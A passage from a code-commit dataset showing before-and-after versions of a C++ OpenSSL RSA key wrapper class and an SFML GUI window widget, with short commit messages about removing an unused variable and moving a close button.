NULL)){\n\t\t\t\t\tTHROW_OPENSSL_EXCEPTION(0, Key, NULL, \"i2d_PKCS8PrivateKey_bio 'Unable writes PrivateKey to BIO'\");\n\t\t\t\t}\n\t\t\t}\n\t\t\telse{\n\t\t\t\tLOGGER_OPENSSL(i2d_PKCS8PrivateKey_bio);\n\t\t\t\tif (!i2d_PKCS8PrivateKey_bio(out->internal(), this->internal(), NULL, NULL, 0, NULL, NULL)){\n\t\t\t\t\tTHROW_OPENSSL_EXCEPTION(0, Key, NULL, \"i2d_PKCS8PrivateKey_bio 'Unable writes PrivateKey to BIO'\");\n\t\t\t\t}\n\t\t\t}\n\t\t\tbreak;\n\t\tcase DataFormat::BASE64:\n\t\t\tif (password->length() > 0){\n\t\t\t\tLOGGER_OPENSSL(PEM_write_bio_PrivateKey);\n\t\t\t\tif (!PEM_write_bio_PrivateKey(out->internal(), this->internal(), EVP_aes_256_cbc(), (unsigned char *)password->c_str(), password->length(), NULL, NULL)){\n\t\t\t\t\tTHROW_OPENSSL_EXCEPTION(0, Key, NULL, \"PEM_write_bio_PrivateKey 'Unable writes PrivateKey to BIO'\");\n\t\t\t\t}\n\t\t\t}\n\t\t\telse{\n\t\t\t\tLOGGER_OPENSSL(PEM_write_bio_PrivateKey);\n\t\t\t\tif (!PEM_write_bio_PrivateKey(out->internal(), this->internal(), NULL, NULL, 0, NULL, NULL)){\n\t\t\t\t\tTHROW_OPENSSL_EXCEPTION(0, Key, NULL, \"PEM_write_bio_PrivateKey 'Unable writes PrivateKey to BIO'\");\n\t\t\t\t}\n\t\t\t}\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tTHROW_EXCEPTION(0, Key, NULL, ERROR_DATA_FORMAT_UNKNOWN_FORMAT, format);\n\t\t}\n\t}\n\tcatch (Handle<Exception> e){\n\t\tTHROW_EXCEPTION(0, Key, e, \"Error write private key\");\n\t}\n}\n\nvoid Key::writePublicKey(Handle<Bio> out, DataFormat::DATA_FORMAT format) {\n\ttry{\n\t\tLOGGER_FN();\n\n\t\tif (out.isEmpty()){\n\t\t\tTHROW_EXCEPTION(0, Key, NULL, \"Bio is empty\");\n\t\t}\n\n\t\tswitch (format){\n\t\tcase DataFormat::DER:\n\t\t\tLOGGER_OPENSSL(i2d_PUBKEY_bio);\n\t\t\tif (!i2d_PUBKEY_bio(out->internal(), this->internal())){\n\t\t\t\tTHROW_OPENSSL_EXCEPTION(0, Key, NULL, \"i2d_PUBKEY_bio 'Unable writes PUBKEY to BIO'\");\n\t\t\t}\n\t\t\tbreak;\n\t\tcase DataFormat::BASE64:\n\t\t\tLOGGER_OPENSSL(PEM_write_bio_PUBKEY);\n\t\t\tif (!PEM_write_bio_PUBKEY(out->internal(), this->internal())){\n\t\t\t\tTHROW_OPENSSL_EXCEPTION(0, Key, NULL, \"PEM_write_bio_PUBKEY 'Unable writes PUBKEY to BIO'\");\n\t\t\t}\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tTHROW_EXCEPTION(0, Key, NULL, ERROR_DATA_FORMAT_UNKNOWN_FORMAT, format);\n\t\t}\n\t}\n\tcatch (Handle<Exception> e){\n\t\tTHROW_EXCEPTION(0, Key, e, \"Error write pubkey key to BIO\");\n\t}\n}\n\nHandle<Key> Key::generate(DataFormat::DATA_FORMAT format, PublicExponent::Public_Exponent pubEx, int keySize) {\n\tLOGGER_FN();\n\n\tRSA *rsa = NULL;\n\tBIGNUM *bn = NULL;\n\tEVP_PKEY *evpkey = NULL;\n\tBIO *bp_private = NULL;\n\n\ttry{\n\t\tENGINE *en = NULL;\n\n\t\tLOGGER_OPENSSL(RSA_new_method);\n\t\trsa = RSA_new_method(en);\n\t\tif (!rsa){\n\t\t\tTHROW_EXCEPTION(0, Key, NULL, \"RSA_new_method\");\n\t\t}\n\n\t\tLOGGER_OPENSSL(BN_new);\n\t\tbn = BN_new();\n\t\tif (!bn){\n\t\t\tTHROW_EXCEPTION(0, Key, NULL, \"BN_new\");\n\t\t}\n\t\t\n\t\tLOGGER_OPENSSL(EVP_PKEY_new);\n\t\tevpkey = EVP_PKEY_new();\n\t\tif (!evpkey){\n\t\t\tTHROW_EXCEPTION(0, Key, NULL, \"EVP_PKEY_new\");\n\t\t}\n\t\n\t\tswitch (pubEx){\n\t\tcase PublicExponent::peRSA_3:\n\t\t\tLOGGER_OPENSSL(BN_set_word);\n\t\t\tif (!BN_set_word(bn, RSA_3)){\n\t\t\t\tTHROW_OPENSSL_EXCEPTION(0, Key, NULL, \"BN_set_word 'Unable set RSA_3 to BIGNUM'\");\n\t\t\t}\n\t\t\tbreak;\n\t\tcase PublicExponent::peRSA_F4:\n\t\t\tLOGGER_OPENSSL(BN_set_word);\n\t\t\tif (!BN_set_word(bn, RSA_F4)){\n\t\t\t\tTHROW_OPENSSL_EXCEPTION(0, Key, NULL, \"BN_set_word 'Unable set RSA_F4 to BIGNUM'\");\n\t\t\t}\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tTHROW_EXCEPTION(0, Key, NULL, \"Unknown public exponent\");\n\t\t}\t\n\t\t\n\t\tif (keySize == NULL){\n\t\t\tkeySize = 1024;\n\t\t}\n\t\telse{\n\t\t\tif (keySize < 1024){\n\t\t\t\tTHROW_EXCEPTION(0, Key, NULL, \"Key sizes should num > 1024 (else insecure)\");\n\t\t\t}\n\t\t}\n\n\t\tLOGGER_OPENSSL(RSA_generate_key_ex);\n\t\tif (!RSA_generate_key_ex(rsa, keySize, bn, NULL)){\n\t\t\tTHROW_OPENSSL_EXCEPTION(0, Key, NULL, \"RSA_generate_key_ex 'Unable  generates a key pair'\");\n\t\t}\n\n\t\tLOGGER_OPENSSL(EVP_PKEY_set1_RSA);\n\t\tEVP_PKEY_set1_RSA(evpkey, rsa);\n\t}\n\tcatch (Handle<Exception> e){\n\t\tTHROW_EXCEPTION(0, Key, e, \"Can not keypair generate and save to file\");\n\t}\n\n\tif (bp_private){\n\t\tLOGGER_OPENSSL(BIO_free_all);\n\t\tBIO_free_all(bp_private);\n\t}\n\n\tif (rsa){\n\t\tLOGGER_OPENSSL(RSA_free);\n\t\tRSA_free(rsa);\n\t}\n\n\tif (bn){\n\t\tLOGGER_OPENSSL(BN_free)\n\t\t\tBN_free(bn);\n\t}\n\n\treturn new Key(evpkey);\n}\n\nint Key::compare(Handle<Key> key) {\n\tLOGGER_FN();\n\n\tLOGGER_OPENSSL(EVP_PKEY_cmp);\n\treturn EVP_PKEY_cmp(this->internal(), key->internal());\n}\n\nHandle<Key> Key::duplicate(){\n\tHandle<Key> dkey = new Key(this->internal());\n\tCRYPTO_add(&this->internal()->references, 1, CRYPTO_LOCK_EVP_PKEY);\n\treturn dkey;\n}\n<commit_msg>wrapper: dell unusable variable<commit_after>#include \"..\/stdafx.h\"\n\n#include \"wrapper\/pki\/key.h\"\n\nvoid Key::readPrivateKey(Handle<Bio> in, DataFormat::DATA_FORMAT format, Handle<std::string> password) {\n\ttry{\n\t\tif (in.isEmpty()){\n\t\t\tTHROW_EXCEPTION(0, Key, NULL, \"Bio is empty\");\n\t\t}\n\n\t\tin->reset();\n\n\t\tEVP_PKEY *key = NULL;\n\n\t\tconst void * pass = password->c_str();\n\n\t\tswitch (format){\n\t\tcase DataFormat::DER:\n\t\t\tLOGGER_OPENSSL(d2i_PKCS8PrivateKey_bio);\n\t\t\tkey = d2i_PKCS8PrivateKey_bio(in->internal(), NULL, 0, (void *)pass);\n\t\t\tbreak;\n\t\tcase DataFormat::BASE64:\n\t\t\tLOGGER_OPENSSL(PEM_read_bio_PrivateKey);\n\t\t\tkey = PEM_read_bio_PrivateKey(in->internal(), NULL, 0, (void *)pass);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tTHROW_EXCEPTION(0, Key, NULL, ERROR_DATA_FORMAT_UNKNOWN_FORMAT, format);\n\t\t}\n\n\t\tif (!key) {\n\t\t\tTHROW_EXCEPTION(0, Key, NULL, \"Can not read EVP_PKEY data\");\n\t\t}\n\n\t\tthis->setData(key);\n\t}\n\tcatch (Handle<Exception> e){\n\t\tTHROW_EXCEPTION(0, Key, e, \"Error read private key\");\n\t}\n}\n\nvoid Key::readPublicKey(Handle<Bio> in, DataFormat::DATA_FORMAT format) {\n\ttry{\n\t\tif (in.isEmpty()){\n\t\t\tTHROW_EXCEPTION(0, Key, NULL, \"Bio is empty\");\n\t\t}\n\n\t\tin->reset();\n\n\t\tEVP_PKEY *key = NULL;\n\t\t\n\t\tswitch (format){\n\t\tcase DataFormat::DER:\n\t\t\tLOGGER_OPENSSL(d2i_PUBKEY_bio);\n\t\t\tkey = d2i_PUBKEY_bio(in->internal(), NULL);\n\t\t\tbreak;\n\t\tcase DataFormat::BASE64:\n\t\t\tLOGGER_OPENSSL(PEM_read_bio_PUBKEY);\n\t\t\tkey = PEM_read_bio_PUBKEY(in->internal(), NULL, 0, NULL);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tTHROW_EXCEPTION(0, Key, NULL, ERROR_DATA_FORMAT_UNKNOWN_FORMAT, format);\n\t\t}\n\n\t\tif (!key) {\n\t\t\tTHROW_EXCEPTION(0, Key, NULL, \"Can not read EVP_PKEY data\");\n\t\t}\n\n\t\tthis->setData(key);\n\t}\n\tcatch (Handle<Exception> e){\n\t\tTHROW_EXCEPTION(0, Key, e, \"Error read pubkey key\");\n\t}\n}\n\nvoid Key::writePrivateKey(Handle<Bio> out, DataFormat::DATA_FORMAT format, Handle<std::string> password) {\n\ttry{\n\t\tif (out.isEmpty()){\n\t\t\tTHROW_EXCEPTION(0, Key, NULL, \"Bio is empty\");\n\t\t}\n\n\t\tswitch (format){\n\t\tcase DataFormat::DER:\n\t\t\tif (password->length() > 0){\n\t\t\t\tLOGGER_OPENSSL(i2d_PKCS8PrivateKey_bio);\n\t\t\t\tif (!i2d_PKCS8PrivateKey_bio(out->internal(), this->internal(), EVP_aes_256_cbc(), (char *)password->c_str(), password->length(), NULL, NULL)){\n\t\t\t\t\tTHROW_OPENSSL_EXCEPTION(0, Key, NULL, \"i2d_PKCS8PrivateKey_bio 'Unable writes PrivateKey to BIO'\");\n\t\t\t\t}\n\t\t\t}\n\t\t\telse{\n\t\t\t\tLOGGER_OPENSSL(i2d_PKCS8PrivateKey_bio);\n\t\t\t\tif (!i2d_PKCS8PrivateKey_bio(out->internal(), this->internal(), NULL, NULL, 0, NULL, NULL)){\n\t\t\t\t\tTHROW_OPENSSL_EXCEPTION(0, Key, NULL, \"i2d_PKCS8PrivateKey_bio 'Unable writes PrivateKey to BIO'\");\n\t\t\t\t}\n\t\t\t}\n\t\t\tbreak;\n\t\tcase DataFormat::BASE64:\n\t\t\tif (password->length() > 0){\n\t\t\t\tLOGGER_OPENSSL(PEM_write_bio_PrivateKey);\n\t\t\t\tif (!PEM_write_bio_PrivateKey(out->internal(), this->internal(), EVP_aes_256_cbc(), (unsigned char *)password->c_str(), password->length(), NULL, NULL)){\n\t\t\t\t\tTHROW_OPENSSL_EXCEPTION(0, Key, NULL, \"PEM_write_bio_PrivateKey 'Unable writes PrivateKey to BIO'\");\n\t\t\t\t}\n\t\t\t}\n\t\t\telse{\n\t\t\t\tLOGGER_OPENSSL(PEM_write_bio_PrivateKey);\n\t\t\t\tif (!PEM_write_bio_PrivateKey(out->internal(), this->internal(), NULL, NULL, 0, NULL, NULL)){\n\t\t\t\t\tTHROW_OPENSSL_EXCEPTION(0, Key, NULL, \"PEM_write_bio_PrivateKey 'Unable writes PrivateKey to BIO'\");\n\t\t\t\t}\n\t\t\t}\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tTHROW_EXCEPTION(0, Key, NULL, ERROR_DATA_FORMAT_UNKNOWN_FORMAT, format);\n\t\t}\n\t}\n\tcatch (Handle<Exception> e){\n\t\tTHROW_EXCEPTION(0, Key, e, \"Error write private key\");\n\t}\n}\n\nvoid Key::writePublicKey(Handle<Bio> out, DataFormat::DATA_FORMAT format) {\n\ttry{\n\t\tLOGGER_FN();\n\n\t\tif (out.isEmpty()){\n\t\t\tTHROW_EXCEPTION(0, Key, NULL, \"Bio is empty\");\n\t\t}\n\n\t\tswitch (format){\n\t\tcase DataFormat::DER:\n\t\t\tLOGGER_OPENSSL(i2d_PUBKEY_bio);\n\t\t\tif (!i2d_PUBKEY_bio(out->internal(), this->internal())){\n\t\t\t\tTHROW_OPENSSL_EXCEPTION(0, Key, NULL, \"i2d_PUBKEY_bio 'Unable writes PUBKEY to BIO'\");\n\t\t\t}\n\t\t\tbreak;\n\t\tcase DataFormat::BASE64:\n\t\t\tLOGGER_OPENSSL(PEM_write_bio_PUBKEY);\n\t\t\tif (!PEM_write_bio_PUBKEY(out->internal(), this->internal())){\n\t\t\t\tTHROW_OPENSSL_EXCEPTION(0, Key, NULL, \"PEM_write_bio_PUBKEY 'Unable writes PUBKEY to BIO'\");\n\t\t\t}\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tTHROW_EXCEPTION(0, Key, NULL, ERROR_DATA_FORMAT_UNKNOWN_FORMAT, format);\n\t\t}\n\t}\n\tcatch (Handle<Exception> e){\n\t\tTHROW_EXCEPTION(0, Key, e, \"Error write pubkey key to BIO\");\n\t}\n}\n\nHandle<Key> Key::generate(DataFormat::DATA_FORMAT format, PublicExponent::Public_Exponent pubEx, int keySize) {\n\tLOGGER_FN();\n\n\tRSA *rsa = NULL;\n\tBIGNUM *bn = NULL;\n\tEVP_PKEY *evpkey = NULL;\n\n\ttry{\n\t\tENGINE *en = NULL;\n\n\t\tLOGGER_OPENSSL(RSA_new_method);\n\t\trsa = RSA_new_method(en);\n\t\tif (!rsa){\n\t\t\tTHROW_EXCEPTION(0, Key, NULL, \"RSA_new_method\");\n\t\t}\n\n\t\tLOGGER_OPENSSL(BN_new);\n\t\tbn = BN_new();\n\t\tif (!bn){\n\t\t\tTHROW_EXCEPTION(0, Key, NULL, \"BN_new\");\n\t\t}\n\t\t\n\t\tLOGGER_OPENSSL(EVP_PKEY_new);\n\t\tevpkey = EVP_PKEY_new();\n\t\tif (!evpkey){\n\t\t\tTHROW_EXCEPTION(0, Key, NULL, \"EVP_PKEY_new\");\n\t\t}\n\t\n\t\tswitch (pubEx){\n\t\tcase PublicExponent::peRSA_3:\n\t\t\tLOGGER_OPENSSL(BN_set_word);\n\t\t\tif (!BN_set_word(bn, RSA_3)){\n\t\t\t\tTHROW_OPENSSL_EXCEPTION(0, Key, NULL, \"BN_set_word 'Unable set RSA_3 to BIGNUM'\");\n\t\t\t}\n\t\t\tbreak;\n\t\tcase PublicExponent::peRSA_F4:\n\t\t\tLOGGER_OPENSSL(BN_set_word);\n\t\t\tif (!BN_set_word(bn, RSA_F4)){\n\t\t\t\tTHROW_OPENSSL_EXCEPTION(0, Key, NULL, \"BN_set_word 'Unable set RSA_F4 to BIGNUM'\");\n\t\t\t}\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tTHROW_EXCEPTION(0, Key, NULL, \"Unknown public exponent\");\n\t\t}\t\n\t\t\n\t\tif (keySize == NULL){\n\t\t\tkeySize = 1024;\n\t\t}\n\t\telse{\n\t\t\tif (keySize < 1024){\n\t\t\t\tTHROW_EXCEPTION(0, Key, NULL, \"Key sizes should num > 1024 (else insecure)\");\n\t\t\t}\n\t\t}\n\n\t\tLOGGER_OPENSSL(RSA_generate_key_ex);\n\t\tif (!RSA_generate_key_ex(rsa, keySize, bn, NULL)){\n\t\t\tTHROW_OPENSSL_EXCEPTION(0, Key, NULL, \"RSA_generate_key_ex 'Unable  generates a key pair'\");\n\t\t}\n\n\t\tLOGGER_OPENSSL(EVP_PKEY_set1_RSA);\n\t\tEVP_PKEY_set1_RSA(evpkey, rsa);\n\t}\n\tcatch (Handle<Exception> e){\n\t\tTHROW_EXCEPTION(0, Key, e, \"Can not keypair generate and save to file\");\n\t}\n\n\tif (rsa){\n\t\tLOGGER_OPENSSL(RSA_free);\n\t\tRSA_free(rsa);\n\t}\n\n\tif (bn){\n\t\tLOGGER_OPENSSL(BN_free)\n\t\t\tBN_free(bn);\n\t}\n\n\treturn new Key(evpkey);\n}\n\nint Key::compare(Handle<Key> key) {\n\tLOGGER_FN();\n\n\tLOGGER_OPENSSL(EVP_PKEY_cmp);\n\treturn EVP_PKEY_cmp(this->internal(), key->internal());\n}\n\nHandle<Key> Key::duplicate(){\n\tHandle<Key> dkey = new Key(this->internal());\n\tCRYPTO_add(&this->internal()->references, 1, CRYPTO_LOCK_EVP_PKEY);\n\treturn dkey;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"WindowWidget.hpp\"\n#include <iostream>\n\ngsf::WindowWidget::WindowWidget(float width, float height, std::wstring title, \n        sf::Font &font)\n: Widget{ width, height }\n\/\/, m_topBar{ width, 20.f }\n\/\/, m_btnClose{ m_topBar.getHeight() - 6.f, m_topBar.getHeight() - 6.f }\n, m_topBarHeight{ 20.f }\n, m_windowTitle{ title, font }\n, m_windowTitleFont{ font }\n, m_windowTitleColor{ sf::Color::White }\n, m_moveModeActive{ false }\n{\n    init();\n}\n\nvoid gsf::WindowWidget::init()\n{\n    setOutlineThickness(4.f);\n    m_windowTitle.setFillColor(m_windowTitleColor);\n    m_windowTitle.setStyle(sf::Text::Bold);\n    boundsChanged();\n    setTopBarFillColor(sf::Color::Black);\n    setWindowTitleColor(sf::Color::White);\n    setCloseButtonFillColor(sf::Color::White);\n}\n\nsf::Color gsf::WindowWidget::getTopbarFillColor() const\n{\n    return m_topBar.getFillColor();\n}\n\nvoid gsf::WindowWidget::setTopBarFillColor(const sf::Color color)\n{\n    m_topBar.setFillColor(color);\n}\n\nsf::Color gsf::WindowWidget::getCloseButtonFillColor() const\n{\n    return m_btnClose.getFillColor();\n}\n\nvoid gsf::WindowWidget::setCloseButtonFillColor(const sf::Color color)\n{\n    m_btnClose.setFillColor(color);\n}\n\nsf::Color gsf::WindowWidget::getCloseButtonSymbolFillColor() const\n{\n    return m_btnCloseSymbolColor;\n}\n\nvoid gsf::WindowWidget::setCloseButtonSymbolFillColor(const sf::Color color)\n{\n    m_btnCloseSymbolColor = color;\n    m_btnCloseSymbolA.setFillColor(color);\n    m_btnCloseSymbolB.setFillColor(color);\n}\n\nstd::wstring gsf::WindowWidget::getWindowTitle() const\n{\n    return m_windowTitle.getString().toWideString();\n    \/\/return m_windowTitle;\n}\n\nvoid gsf::WindowWidget::setWindowTitle(const std::wstring &text)\n{\n    m_windowTitle.setString(text);\n    \/\/m_windowTitle = text;\n}\n\nsf::Font gsf::WindowWidget::getWindowTitleFont() const\n{\n    return m_windowTitleFont;\n}\n\nvoid gsf::WindowWidget::setWindowTitleFont(sf::Font &font)\n{\n    m_windowTitleFont = font;\n}\n\nsf::Color gsf::WindowWidget::getWindowTitleColor() const\n{\n    return m_windowTitleColor;\n}\n\nvoid gsf::WindowWidget::setWindowTitleColor(sf::Color color)\n{\n    m_windowTitleColor = color;\n}\n\nsf::View gsf::WindowWidget::getWindowTitleView(sf::RenderTarget &target) const\n{\n    sf::View view;\n\n    float left{ getGlobalBounds().left };\n    float top{ getWorldTop() };\n    \/\/ Only draw in the toolbar from left til the close button (with little margin)\n    float width{ getWidth() - (getWidth() - m_btnClose.getLeft()) - 12.f  };\n    float height{ m_topBar.getHeight() };\n\n    view.setSize(width, height);\n    view.setCenter(left + (width \/ 2.f), top + (height \/ 2.f));\n    \/\/ The viewport is the area where the widget is on screen\n    view.setViewport(sf::FloatRect(left \/ target.getSize().x , \n                top \/ target.getSize().y, width \/ target.getSize().x, \n                height \/ target.getSize().y));\n    return view;\n}\n\/*\nsf::View gsf::WindowWidget::getTopBarView(sf::RenderTarget &target) const\n{\n    sf::View view;\n    \n    float left{ getGlobalBounds().left };\n    float top{ getWorldTop() - m_topBar.getHeight() };\n    \/\/ Only draw in the toolbar from left til the close button (with little margin)\n    float width{ m_topBar.getWidth() };\n    float height{ m_topBar.getHeight() };\n\n    view.setSize(width, height);\n    view.setCenter(left + (width \/ 2.f), top + (height \/ 2.f));\n    \/\/ The viewport is the area where the widget is on screen\n    view.setViewport(sf::FloatRect(left \/ target.getSize().x , \n                top \/ target.getSize().y,\n        width \/ target.getSize().x, height \/ target.getSize().y));\n    return view;\n}\n*\/\nvoid gsf::WindowWidget::boundsChanged()\n{\n    \/\/ The full area is not only the width and heigt of the content area but also\n    \/\/ the height of the topBar\n    m_fullArea.width = getWidth();\n    m_fullArea.height = getHeight() + m_topBarHeight;\n    \/\/ The content area not include the topbar, so its starts after the topbar\n    m_contentArea.top = m_topBarHeight;\n    \n    m_topBar.setPosition(0.f, 0.f);\n    m_topBar.setWidth(getLocalContentBounds().width);\n    m_topBar.setHeight(m_topBarHeight);\n    m_windowTitle.setCharacterSize(m_topBar.getHeight() - 6.f);\n    m_windowTitle.setPosition(6.f, 0.f);\n    \/\/ The Topbar is drawn over the real area of the widget\n    \/\/ So the topbar dont hide child elements\n    \/\/m_topBar.setOrigin(m_topBar.getWidth() \/ 2.f, m_topBar.getHeight() \/ 2.f);\n    \n    \/\/m_topBar.setPosition(-m_outlineThickness + m_topBar.getWidth() \/ 2.f, \n    \/\/        -m_topBar.getHeight() + m_topBar.getHeight() \/ 2.f );\n    \n    m_btnClose.setWidth(m_topBar.getHeight() - 6.f);\n    m_btnClose.setHeight(m_topBar.getHeight() - 6.f);\n    \/\/m_btnClose.setOrigin(m_btnClose.getWidth() \/ 2.f, m_btnClose.getHeight() \/ 2.f);\n    \n    m_btnClose.setPosition(m_topBar.getRight() \n            - m_btnClose.getWidth() - 6.f, \n            m_topBarHeight - getOutlineThickness()\n            - m_btnClose.getHeight()\n            );\n    \n    float btnSymbolWidth{ m_btnClose.getHeight() - 2.f };\n    float btnSymbolHeight{ btnSymbolWidth \/ 6.f };\n    m_btnCloseSymbolA.setSize({ btnSymbolWidth, btnSymbolHeight });\n    m_btnCloseSymbolA.setOrigin( btnSymbolWidth \/ 2.f, btnSymbolHeight \/ 2.f); \n    m_btnCloseSymbolA.setFillColor(m_btnCloseSymbolColor);\n    m_btnCloseSymbolA.setPosition(\n            m_btnClose.getLeft() + m_btnClose.getWidth() \/ 2.f,\n            m_btnClose.getTop() + m_btnClose.getHeight() \/ 2.f);\n    m_btnCloseSymbolA.setRotation(45.f);\n    \n    m_btnCloseSymbolB.setSize({ btnSymbolWidth, btnSymbolHeight });\n    m_btnCloseSymbolB.setOrigin( btnSymbolWidth \/ 2.f, btnSymbolHeight \/ 2.f); \n    m_btnCloseSymbolB.setFillColor(m_btnCloseSymbolColor);\n    m_btnCloseSymbolB.setPosition(\n            m_btnClose.getLeft() + m_btnClose.getWidth() \/ 2.f,\n            m_btnClose.getTop() + m_btnClose.getHeight() \/ 2.f);\n    m_btnCloseSymbolB.setRotation(-45.f);\n}\n\nvoid gsf::WindowWidget::childAdded(Widget &child)\n{\n    \/\/ Move child widget by the topbars height down so it is at the \n    \/\/ upper left corner when its position is (0.f, 0.f). \n    \/\/ (At the real (0.f, 0.f) local point there is the topBar)\n    child.move(0.f, m_topBarHeight);\n}\n\nvoid gsf::WindowWidget::arrangeChildren()\n{\n\n}\n\nbool gsf::WindowWidget::handleEventCurrentBeforeChildren(sf::Event &event)\n{\n    bool handled{ Widget::handleEventCurrentBeforeChildren(event) };\n    sf::Vector2f mousePos{ (float) event.mouseButton.x, \n        (float) event.mouseButton.y };\n    sf::Vector2f localMousePoint{ convertToLocalPoint({ mousePos.x, \n            mousePos.y }) };\n    if (event.type == sf::Event::MouseButtonPressed)\n    {\n        if (event.mouseButton.button == sf::Mouse::Left && \n                m_topBar.isPointIntersecting(localMousePoint))\n        {\n            \/\/ Check if close button was pressed. \n            \/\/ We have to map the mouse coordinate to local widget coordinates\n            if (m_btnClose.isPointIntersecting(localMousePoint))\n            {\n                setIsRemoveable(true);\n            }\n            m_moveModeActive = true;\n            m_moveModeRelMousePos.x = event.mouseButton.x - getWorldPosition().x;\n            m_moveModeRelMousePos.y = event.mouseButton.y - getWorldPosition().y;\n            \/\/ Window should now be shown in the foreground\n            setMoveToForground(true);\n            return true;\n        }\n        if (event.mouseButton.button == sf::Mouse::Left && isIntersecting(mousePos))\n        {\n            setMoveToForground(true);\n            return false;\n        }\n\n    }\n    else if (event.type == sf::Event::MouseButtonReleased)\n    {\n        if (event.mouseButton.button == sf::Mouse::Left && m_moveModeActive)\n        {\n            m_moveModeActive = false;\n            return true;\n        }\n    }\n    return handled;\n}\n\nbool gsf::WindowWidget::handleEventCurrentAfterChildren(sf::Event &event)\n{\n    bool handled{ Widget::handleEventCurrentAfterChildren(event) };\n    if (event.type == sf::Event::MouseMoved && m_moveModeActive)\n    {\n        setPosition(event.mouseMove.x - getOrigin().x - m_moveModeRelMousePos.x, \n                event.mouseMove.y - getOrigin().y - m_moveModeRelMousePos.y);\n    }\n    return handled;\n}\n\nvoid gsf::WindowWidget::updateCurrentAfterChildren(float dt)\n{\n    \/\/ Do nothing by default\n}\n\nvoid gsf::WindowWidget::drawCurrentAfterChildren(sf::RenderTarget &target, \n        sf::RenderStates states) const\n{\n    sf::View defaultView{ target.getView() };\n    \/\/ Draw Topbar\n    \/\/sf::View viewTopBar{ getTopBarView(target) };\n    \/\/target.setView(viewTopBar);\n    target.draw(m_topBar, states);\n    \/\/ Draw close Button\n    target.draw(m_btnClose, states);\n    target.draw(m_btnCloseSymbolA, states);\n    target.draw(m_btnCloseSymbolB, states);\n\n    \/\/ Draw window title\n    sf::View viewTitle{ getWindowTitleView(target) };\n    target.setView(viewTitle);\n    \/*\n    sf::Text title;\n    title.setFont(m_windowTitleFont);\n    title.setString(m_windowTitle);\n    title.setCharacterSize(m_topBar.getHeight() - 6.f);\n    title.setFillColor(m_windowTitleColor);\n    title.setStyle(sf::Text::Bold);\n    \/\/title.setPosition(6.f, -m_topBar.getHeight());\n    title.setPosition(6.f, 0.f);\n    target.draw(title, states);\n    *\/\n    target.draw(m_windowTitle, states);\n    target.setView(defaultView);\n}\n<commit_msg>Change close Button pos<commit_after>#include \"WindowWidget.hpp\"\n#include <iostream>\n\ngsf::WindowWidget::WindowWidget(float width, float height, std::wstring title, \n        sf::Font &font)\n: Widget{ width, height }\n\/\/, m_topBar{ width, 20.f }\n\/\/, m_btnClose{ m_topBar.getHeight() - 6.f, m_topBar.getHeight() - 6.f }\n, m_topBarHeight{ 20.f }\n, m_windowTitle{ title, font }\n, m_windowTitleFont{ font }\n, m_windowTitleColor{ sf::Color::White }\n, m_moveModeActive{ false }\n{\n    init();\n}\n\nvoid gsf::WindowWidget::init()\n{\n    setOutlineThickness(4.f);\n    m_windowTitle.setFillColor(m_windowTitleColor);\n    m_windowTitle.setStyle(sf::Text::Bold);\n    boundsChanged();\n    setTopBarFillColor(sf::Color::Black);\n    setWindowTitleColor(sf::Color::White);\n    setCloseButtonFillColor(sf::Color::White);\n}\n\nsf::Color gsf::WindowWidget::getTopbarFillColor() const\n{\n    return m_topBar.getFillColor();\n}\n\nvoid gsf::WindowWidget::setTopBarFillColor(const sf::Color color)\n{\n    m_topBar.setFillColor(color);\n}\n\nsf::Color gsf::WindowWidget::getCloseButtonFillColor() const\n{\n    return m_btnClose.getFillColor();\n}\n\nvoid gsf::WindowWidget::setCloseButtonFillColor(const sf::Color color)\n{\n    m_btnClose.setFillColor(color);\n}\n\nsf::Color gsf::WindowWidget::getCloseButtonSymbolFillColor() const\n{\n    return m_btnCloseSymbolColor;\n}\n\nvoid gsf::WindowWidget::setCloseButtonSymbolFillColor(const sf::Color color)\n{\n    m_btnCloseSymbolColor = color;\n    m_btnCloseSymbolA.setFillColor(color);\n    m_btnCloseSymbolB.setFillColor(color);\n}\n\nstd::wstring gsf::WindowWidget::getWindowTitle() const\n{\n    return m_windowTitle.getString().toWideString();\n    \/\/return m_windowTitle;\n}\n\nvoid gsf::WindowWidget::setWindowTitle(const std::wstring &text)\n{\n    m_windowTitle.setString(text);\n    \/\/m_windowTitle = text;\n}\n\nsf::Font gsf::WindowWidget::getWindowTitleFont() const\n{\n    return m_windowTitleFont;\n}\n\nvoid gsf::WindowWidget::setWindowTitleFont(sf::Font &font)\n{\n    m_windowTitleFont = font;\n}\n\nsf::Color gsf::WindowWidget::getWindowTitleColor() const\n{\n    return m_windowTitleColor;\n}\n\nvoid gsf::WindowWidget::setWindowTitleColor(sf::Color color)\n{\n    m_windowTitleColor = color;\n}\n\nsf::View gsf::WindowWidget::getWindowTitleView(sf::RenderTarget &target) const\n{\n    sf::View view;\n\n    float left{ getGlobalBounds().left };\n    float top{ getWorldTop() };\n    \/\/ Only draw in the toolbar from left til the close button (with little margin)\n    float width{ getWidth() - (getWidth() - m_btnClose.getLeft()) - 12.f  };\n    float height{ m_topBar.getHeight() };\n\n    view.setSize(width, height);\n    view.setCenter(left + (width \/ 2.f), top + (height \/ 2.f));\n    \/\/ The viewport is the area where the widget is on screen\n    view.setViewport(sf::FloatRect(left \/ target.getSize().x , \n                top \/ target.getSize().y, width \/ target.getSize().x, \n                height \/ target.getSize().y));\n    return view;\n}\n\/*\nsf::View gsf::WindowWidget::getTopBarView(sf::RenderTarget &target) const\n{\n    sf::View view;\n    \n    float left{ getGlobalBounds().left };\n    float top{ getWorldTop() - m_topBar.getHeight() };\n    \/\/ Only draw in the toolbar from left til the close button (with little margin)\n    float width{ m_topBar.getWidth() };\n    float height{ m_topBar.getHeight() };\n\n    view.setSize(width, height);\n    view.setCenter(left + (width \/ 2.f), top + (height \/ 2.f));\n    \/\/ The viewport is the area where the widget is on screen\n    view.setViewport(sf::FloatRect(left \/ target.getSize().x , \n                top \/ target.getSize().y,\n        width \/ target.getSize().x, height \/ target.getSize().y));\n    return view;\n}\n*\/\nvoid gsf::WindowWidget::boundsChanged()\n{\n    \/\/ The full area is not only the width and heigt of the content area but also\n    \/\/ the height of the topBar\n    